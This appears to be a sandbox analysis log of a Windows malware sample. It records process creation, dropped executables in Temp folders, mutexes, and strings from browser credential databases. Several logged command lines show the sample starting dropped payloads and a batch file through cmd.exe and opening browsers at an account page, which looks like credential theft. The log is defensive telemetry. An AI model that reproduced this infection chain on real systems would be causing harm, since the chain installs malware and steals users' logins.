Code function: 0_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004190A0

Source: C:\Users\userBKFCAFCFBA.exe

Code function: 7_2_004026B8 LoadResource,SizeofResource,FreeResource,

7_2_004026B8

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\IV3LWZMP.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1908:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6896
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess10656
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5052:120:WilError_03

Source: C:\Users\userBGCAFHCAKF.exe

File created: C:\Users\user\AppData\Local\Temp\ad40971b6b

Jump to behavior

Source: C:\Users\userBKFCAFCFBA.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\8126.tmp\8127.tmp\8128.bat C:\Users\userBKFCAFCFBA.exe"

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2168609224.000000006C91F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1733770008.00000000229E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2167085266.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2154397010.000000001CA66000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe	ReversingLabs: Detection: 36%
Source: file.exe	Virustotal: Detection: 45%

Source: userBGCAFHCAKF.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: RoamingBKEHDGDGHC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGCAFHCAKF.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBGCAFHCAKF.exe "C:\Users\userBGCAFHCAKF.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBKFCAFCFBA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBKFCAFCFBA.exe "C:\Users\userBKFCAFCFBA.exe"
Source: C:\Users\userBKFCAFCFBA.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\8126.tmp\8127.tmp\8128.bat C:\Users\userBKFCAFCFBA.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2092,i,7068056822517708986,10255811577766232066,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.youtube.com/account
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:3
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 6896 -ip 6896
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6296 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6576 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2180 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e5cc8fe-62d3-40c5-b78e-72fcde7b7555} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25c9ac6ef10 socket
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5336 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7444 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4152 -prefMapHandle 2764 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1fc7640d-c802-4f2d-90d8-c39dc38d8254} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25cacc68810 rdd
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Source: C:\Users\userBGCAFHCAKF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe "C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2052,i,15441760254145988461,15363386439587136633,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,896730670304015213,14143219268835796612,262144 /prefetch:3
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe "C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 10656 -ip 10656
Source: C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 10656 -s 1316
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7744 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBGCAFHCAKF.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userBKFCAFCFBA.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBGCAFHCAKF.exe "C:\Users\userBGCAFHCAKF.exe"	Jump to behavior
Source: C:\Users\userBGCAFHCAKF.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userBKFCAFCFBA.exe "C:\Users\userBKFCAFCFBA.exe"	Jump to behavior
Source: C:\Users\userBKFCAFCFBA.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\8126.tmp\8127.tmp\8128.bat C:\Users\userBKFCAFCFBA.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5336 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5408 --field-trial-handle=2380,i,15078052028027609445,15587079675188821993,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2092,i,7068056822517708986,10255811577766232066,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=2092,i,7068056822517708986,10255811577766232066,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2188 -prefMapHandle 2180 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1e5cc8fe-62d3-40c5-b78e-72fcde7b7555} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25c9ac6ef10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4104 -parentBuildID 20230927232528 -prefsHandle 4152 -prefMapHandle 2764 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {1fc7640d-c802-4f2d-90d8-c39dc38d8254} 7648 "\\.\pipe\gecko-crash-server-pipe.7648" 25cacc68810 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe "C:\Users\user\AppData\RoamingBKEHDGDGHC.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2848 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2024,i,896730670304015213,14143219268835796612,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
